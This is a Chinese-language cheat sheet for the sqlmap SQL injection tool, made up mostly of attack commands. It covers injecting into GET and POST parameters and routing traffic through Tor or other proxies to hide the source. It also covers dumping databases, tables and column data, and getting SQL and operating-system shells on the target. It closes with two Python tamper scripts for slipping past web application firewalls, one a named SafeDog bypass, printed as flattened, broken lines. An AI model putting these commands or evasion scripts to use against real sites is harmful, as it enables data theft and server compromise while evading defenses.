get请求 sqlmap -u "http://xx.com/?id=1"
POST请求 sqlmap -u "http://xx.com/?id=1" --data "user=1&passwd=1*"
指定post测试参数名
指定数据包测试
指定cookiec
添加代理
通过burp
--proxy=http://127.0.0.1:8080
通过翻墙⭐
--proxy=socks5://127.0.0.1:7890
通过tor 9150
--proxy=socks5://127.0.0.1:9150
随机user-agent ⭐ (默认ua是sqlmap)
保持默认选项,不再询问yes or no
显示详细信息 -v 显示详细信息 0-6 -v 0 不会显示任何信息 -v 1 显示信息(默认) -v 2 显示调试信息debug -v 3 显示攻击载荷payload
指定注入类型 B : 布尔盲注(Boolean based blind) Q : 内联查询(Inline queries) T : 时间盲注(time based blind) U : 基于联合查询(Union query based) E : 报错注入(error based) S : 堆叠注入(stack queries)
指定数据库类型 mysql mssql oracle postgrsql access
指定测试等级 --level 1 默认,不指定就是1 --level 2 深度测试 and -> or 检测cookie注入 --level 3 头测试,测试常见的header头有没有注入 --level 4 全面检测 --level 5 全面检测
风险级别 –risk 风险级别 1-3 默认1, 如果指数过高,可能会对数据造成伤害(如:更新,删除等) –risk 3 只使用 or 测试
为payload指定闭合/前缀 --prefix 为payload指定闭合/前缀 --prefix="" --prefix="')"
为payload指定注释/结尾 --suffix 为payload指定注释/结尾 --suffix="#" --suffix="-- -"
获取数据库数据 --is-dba 查看是否是root权限 --banner 获取当前数据库版本,中间件版本,PHP版本 --current-user 获取当前数据库用户 --dbs 获取所有的数据库名 --current-db 获取当前数据库名 -D 数据库名 --tables -D 数据库名 -T 表名 --columns -D 数据库名 -T 表名 -C 列名 --dump
shell --sql-shell 获取sql命令行(不能执行系统命令) --os-shell 获取系统命令行 ★
宽字节注入 教会sqlmap:如果sqlmap不能正常检测到,要主动加闭合 --data=”id=1%df%27”
tamper脚本 --tamper 脚本 用于绕过waf --tamper xx,xx
from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOW def dependencies (): pass def tamper (payload, **kwargs ): payload = payload.replace(' ' ,'%0a' ) return payload
from lib.core.enums import PRIORITYfrom lib.core.common import singleTimeWarnMessagefrom lib.core.enums import DBMSimport os__priority__ = PRIORITY.LOW def dependencies (): singleTimeWarnMessage("Zeo_bypass_safedog4.0" ) def tamper (payload, **kwargs ): payload=payload.replace('AND' ,'/*!44466AND*/' ) payload=payload.replace('ORDER' ,'/*!44466order*/' ) payload=payload.replace('BY' ,'%23a%0aby' ) payload=payload.replace('USER()' ,'%23a%0aUSER/*!*/()' ) payload=payload.replace('DATABASE()' ,'%23a%0aDATABASE/*!*/()' ) payload=payload.replace('SESSION_%23a%0aUSER/*!*/()' ,'%23a%0aSESSION_USER()' ) payload=payload.replace('UNION ALL SELECT' ,'UNION ALL /*!44466SELECT*/' ) payload=payload.replace('CURRENT_%23a%0aUSER/*!*/()' ,'CURRENT_USER()' ) return payload